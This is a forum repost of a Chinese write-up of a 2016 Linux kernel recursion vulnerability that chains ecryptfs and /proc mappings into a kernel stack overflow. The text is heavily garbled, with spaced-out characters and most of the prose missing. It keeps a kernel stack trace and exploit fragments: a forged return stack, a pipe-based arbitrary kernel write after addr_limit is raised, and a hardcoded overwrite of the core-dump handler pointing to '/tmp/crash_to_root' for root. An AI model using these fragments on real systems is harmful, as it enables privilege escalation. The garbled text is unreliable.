[10252] 2016-06-30_Linux内核中的递归漏洞利用

文档创建者:s7ckTeam
浏览次数:16
最后更新:2025-01-18
2016-06-30_Linux内核中的递归漏洞利用 L i n u x M i c h a e l 2 3   F r e e B u f   2 0 1 6 - 0 6 - 3 0 6 1 l i n u x U b u n t u h o m e 访 访 h t t p s : / / b u g s . c h r o m i u m . o r g / p / p r o j e c t - z e r o / i s s u e s / d e t a i l ? i d = 8 3 6 L i n u x 8 M B L i n u x 3 2 x 8 6 4 0 9 6 b y t e     6 4 1 6 3 8 4 b y t e T H R E A D _ S I Z E _ O R D E R     T H R E A D _ S I Z E   L i n u x s y s f s ,   p r o c f s ,   t m p f s   e c r y p t f s   o v e r l a y f s 使 使 o v e r l a y f s 使 访 访         O v e r l a y f s e c r y p t f s 访 访 访 F I L E S Y S T E M _ M A X _ S T A C K _ D E P T H   P r o c f s m e m   e n v i r o n c m d l i n e 访 访 1 . m e m P T R A C E _ M O D E _ A T T A C H   2 . e n v i r o n m m - > e n v _ s t a r t   m m - > e n v _ e n d P T R A C E _ M O D E _ R E A D 3 . c m d l i n e m m - > a r g _ s t a r t   m m - > a r g _ e n d m m - > a r g _ e n d n u l l   m m a p m e m
/ p r o c / $ p i d / m e m C B B A m e m e n v i r o n c m d l i n e   V F S m m a p 使 s t a t i c c o n s t   s t r u c t   f i l e _ o p e r a t i o n s   p r o c _ p i d _ c m d l i n e _ o p s   =   {   . r e a d       =   p r o c _ p i d _ c m d l i n e _ r e a d ,   . l l s e e k   =   g e n e r i c _ f i l e _ l l s e e k , } ; [ . . . ] s t a t i c c o n s t   s t r u c t   f i l e _ o p e r a t i o n s   p r o c _ m e m _ o p e r a t i o n s   =   {   . l l s e e k     =   m e m _ l s e e k ,   . r e a d         =   m e m _ r e a d ,   . w r i t e       =   m e m _ w r i t e ,   . o p e n         =   m e m _ o p e n ,   . r e l e a s e   =   m e m _ r e l e a s e , } ; [ . . . ] s t a t i c c o n s t   s t r u c t   f i l e _ o p e r a t i o n s   p r o c _ e n v i r o n _ o p e r a t i o n s   =   {   . o p e n         =   e n v i r o n _ o p e n ,   . r e a d         =   e n v i r o n _ r e a d ,   . l l s e e k     =   g e n e r i c _ f i l e _ l l s e e k ,   . r e l e a s e   =   m e m _ r e l e a s e , } ; e c r y p t f s m m a p ( ) e c r y p t f s   m m a p ( ) m m a p ( ) E c r y p t   使 e c r y p t f s 使 m m a p 使   V F S k e r n e l _ r e a d ( ) m m a p ( )     e c r y p t f s m m a p A $ A e c r y p p t f s   / t m p / $ A 使 / p r o c / $ A e c r y p t f s     k e y / p r o c / $ A e c r y p t f s     / t m p / $ A / m e m ,   / t m p / $ A / e n v i r o n     / t m p / $ A / c m d l i n e   r o o t     A 0 × 0   / p r o c / $ A / m e m   / p r o c / $ / A   - E I O   / p r o c / $ A / m e m     e c r y p t f s   e n v i r o n     c m d l i n e  
使 C O N F I G _ C H E C K P O I N T _ R E S T O R E U b u n t u   d i s t r o   p r c t l ( P R _ S E T _ M M ,   P R _ S E T _ M M _ M A P ,   & m m _ m a p , s i z e o f ( m m _ m a p ) ,   0 ) m m _ s t r u c t     a r g _ s t a r t ,   a r g _ e n d ,   e n v _ s t a r t     e n v _ e n d 使   / p r o c / $ A / e n v i r o n     / p r o c / $ A / c m d l i n e c h e c k p o i n t - r e s t o r e 使 e c r y p t f s A   / t m p / $ A / e n v i r o n B m a t r o s k a     A C B C   访 c o p y _ f r o m _ u s e r ( ) e c r y p t f s   / p r o c / $ B / e n v i r o n   B e c r y p t f s   / p r o c / $ A / e n v i r o n   A 使 [ . . . ] [ < f f f f f f f f 8 1 1 b f b 5 b > ] h a n d l e _ m m _ f a u l t + 0 x f 8 b / 0 x 1 8 2 0 [ < f f f f f f f f 8 1 1 b a c 0 5 > ] _ _ g e t _ u s e r _ p a g e s + 0 x 1 3 5 / 0 x 6 2 0 [ < f f f f f f f f 8 1 1 b b 4 f 2 > ] g e t _ u s e r _ p a g e s + 0 x 5 2 / 0 x 6 0 [ < f f f f f f f f 8 1 1 b b a 0 6 > ] _ _ a c c e s s _ r e m o t e _ v m + 0 x e 6 / 0 x 2 d 0 [ < f f f f f f f f 8 1 1 e 0 8 4 c > ] ?   a l l o c _ p a g e s _ c u r r e n t + 0 x 8 c / 0 x 1 1 0 [ < f f f f f f f f 8 1 1 c 1 e b f > ] a c c e s s _ r e m o t e _ v m + 0 x 1 f / 0 x 3 0 [ < f f f f f f f f 8 1 2 7 a 8 9 2 > ] e n v i r o n _ r e a d + 0 x 1 2 2 / 0 x 1 a 0 [ < f f f f f f f f 8 1 3 3 c a 8 0 > ] ?   s e c u r i t y _ f i l e _ p e r m i s s i o n + 0 x a 0 / 0 x c 0 [ < f f f f f f f f 8 1 2 0 c 1 a 8 > ] _ _ v f s _ r e a d + 0 x 1 8 / 0 x 4 0 [ < f f f f f f f f 8 1 2 0 c 7 7 6 > ] v f s _ r e a d + 0 x 8 6 / 0 x 1 3 0 [ < f f f f f f f f 8 1 2 1 2 6 b 0 > ] k e r n e l _ r e a d + 0 x 5 0 / 0 x 8 0 [ < f f f f f f f f 8 1 3 0 4 d 5 3 > ] e c r y p t f s _ r e a d _ l o w e r + 0 x 2 3 / 0 x 3 0 [ < f f f f f f f f 8 1 3 0 5 d f 2 > ] e c r y p t f s _ d e c r y p t _ p a g e + 0 x 8 2 / 0 x 1 3 0 [ < f f f f f f f f 8 1 3 0 4 0 f d > ] e c r y p t f s _ r e a d p a g e + 0 x c d / 0 x 1 1 0 [ < f f f f f f f f 8 1 1 8 f 9 9 b > ] f i l e m a p _ f a u l t + 0 x 2 3 b / 0 x 3 f 0 [ < f f f f f f f f 8 1 1 b c 1 2 0 > ] _ _ d o _ f a u l t + 0 x 5 0 / 0 x e 0 [ < f f f f f f f f 8 1 1 b f b 5 b > ] h a n d l e _ m m _ f a u l t + 0 x f 8 b / 0 x 1 8 2 0
[ < f f f f f f f f 8 1 1 b a c 0 5 > ] _ _ g e t _ u s e r _ p a g e s + 0 x 1 3 5 / 0 x 6 2 0 [ < f f f f f f f f 8 1 1 b b 4 f 2 > ] g e t _ u s e r _ p a g e s + 0 x 5 2 / 0 x 6 0 [ < f f f f f f f f 8 1 1 b b a 0 6 > ] _ _ a c c e s s _ r e m o t e _ v m + 0 x e 6 / 0 x 2 d 0 [ < f f f f f f f f 8 1 1 e 0 8 4 c > ] ?   a l l o c _ p a g e s _ c u r r e n t + 0 x 8 c / 0 x 1 1 0 [ < f f f f f f f f 8 1 1 c 1 e b f > ] a c c e s s _ r e m o t e _ v m + 0 x 1 f / 0 x 3 0 [ < f f f f f f f f 8 1 2 7 a 8 9 2 > ] e n v i r o n _ r e a d + 0 x 1 2 2 / 0 x 1 a 0 [ . . . ] / p r o c / $ p i d e c r y p t f s e c r y p t f s - u t i l s U b u n t u h o m e   U b u n t u   使   / s b i n / m o u n t . e c r y p t f s _ s e t u i d a m d 6 4 t h r e a d _ i n f o r e s t a r t _ b l o c k   a d d r _ l i m i t c o p y _ f r o m _ u s e r ( )     c o p y _ t o _ u s e r ( )   r e s t a r t _ b l o c k t h r e a d _ i n f o   k e r n e l _ r e a d ( )   a d d r _ l i m i t K E R N E L _ D S 退   U S E R _ D S     U b u n t u   1 6 . 0 4 C O N F I G _ S C H E D _ S T A C H K _ E N D _ C H E C K   线   t h r e a d _ i n f o   t h r e a d _ i n f o t h r e a d _ i n f o   t h r e a d _ i n f o 绿 c m d l i n e e n v i r o n 5 Q W O R D
访 S R A C K _ E N D _ M A I C f l a g s 绿 便 1 . e n v i r o n c m d l i n e 2 . c o p y _ f r o m _ u s e r ( ) V F S   V F S e n v i r o n c m d l i n e   w r i t e   V F S 线 线 线 a n n o n y m o u s F U S E   u s e r f a u l t f d   访 e x p 使 P i p e s e x p 使 c l o n e ( ) 使 c l o n e ( )   f o r k ( ) c l o n e ( )   C l o n e (   )     R I P F U S E   R S P  
使   R I P 使 F U S E     R I P 线 K A S L R U b u n t u K A S L R   K A S L R b B U G d i s t r o s K A S L R K A S L R K A S L R R O P 使 R O P   c o m m i t _ c r e d s   a d d r _ l i m i t K E R N E L _ D S     a d d r _ l i m i t   U S E R _ D S   a d d r _ l i m i t     K E R N E L _ D S   u n s i g n e d   l o n g n e w _ s t a c k [ ]   =   {   0 x f f f f f f f f 8 1 8 2 5 2 f 2 , / *   r e t u r n   p o i n t e r   o f   s y s c a l l   h a n d l e r   * /   / *   1 6   u s e l e s s r e g i s t e r s   * /   0 x 1 5 1 5 1 5 1 5 1 5 1 5 1 5 1 5 , 0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   ( u n s i g n e d l o n g )   p o s t _ c o r r u p t i o n _ u s e r _ c o d e ,   / *   u s e r   R I P   * /   0 x 3 3 ,   / *   u s e r C S   * /   0 x 2 4 6 ,   / * E F L A G S :   m o s t   i m p o r t a n t l y ,   t u r n   i n t e r r u p t s   o n   * /   / *   u s e r   R S P * /   ( u n s i g n e d l o n g )   ( p o s t _ c o r r u p t i o n _ u s e r _ s t a c k   +   s i z e o f ( p o s t _ c o r r u p t i o n _ u s e r _ s t a c k ) ) ,   0 x 2 b   / *   u s e r S S   * / } ; F U S E p o s t _ c o r r u p t i o n _ u s e r _ c o d e 使 c o p y _ t o _ u s e r ( ) v o i d k e r n e l _ w r i t e ( u n s i g n e d   l o n g   a d d r ,   c h a r   * b u f ,   s i z e _ t   l e n )   {     i n t   p i p e f d s [ 2 ] ;     i f   ( p i p e ( p i p e f d s ) )         e r r ( 1 ,   " p i p e " ) ;     i f   ( w r i t e ( p i p e f d s [ 1 ] ,   b u f ,   l e n )   ! =   l e n )
        e r r x ( 1 ,   " p i p e   w r i t e " ) ;     c l o s e ( p i p e f d s [ 1 ] ) ;     i f   ( r e a d ( p i p e f d s [ 0 ] ,   ( c h a r * ) a d d r ,   l e n )   ! = l e n )         e r r x ( 1 ,   " p i p e   r e a d   t o k e r n e l s p a c e " ) ;     c l o s e ( p i p e f d s [ 0 ] ) ; } r o o t   s h e l l c o r e d u m p   S I G S E G V r o o t c o r e d u m p c h a r * c o r e _ h a n d l e r   =   " | / t m p / c r a s h _ t o _ r o o t " ;   k e r n e l _ w r i t e ( 0 x f f f f f f f f 8 1 e 8 7 a 6 0 , c o r e _ h a n d l e r ,   s t r l e n ( c o r e _ h a n d l e r ) + 1 ) ; B U G 2 f 3 6 d b 7 1 0 0 9 3   e c r y p t f s m m a p   e 5 4 a d 7 f 1 e e 2 6   p r o c f s 西 西 r o o t l i n u x 便   t h r e a d _ i n f o A n d y   L u t o m i r s k i   h t t p s : / / l k m l . o r g / l k m l / 2 0 1 6 / 6 / 1 5 / 1 0 6 4 *   M i c h a e l 2 3 B l o g s p o t F r e e B u f F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则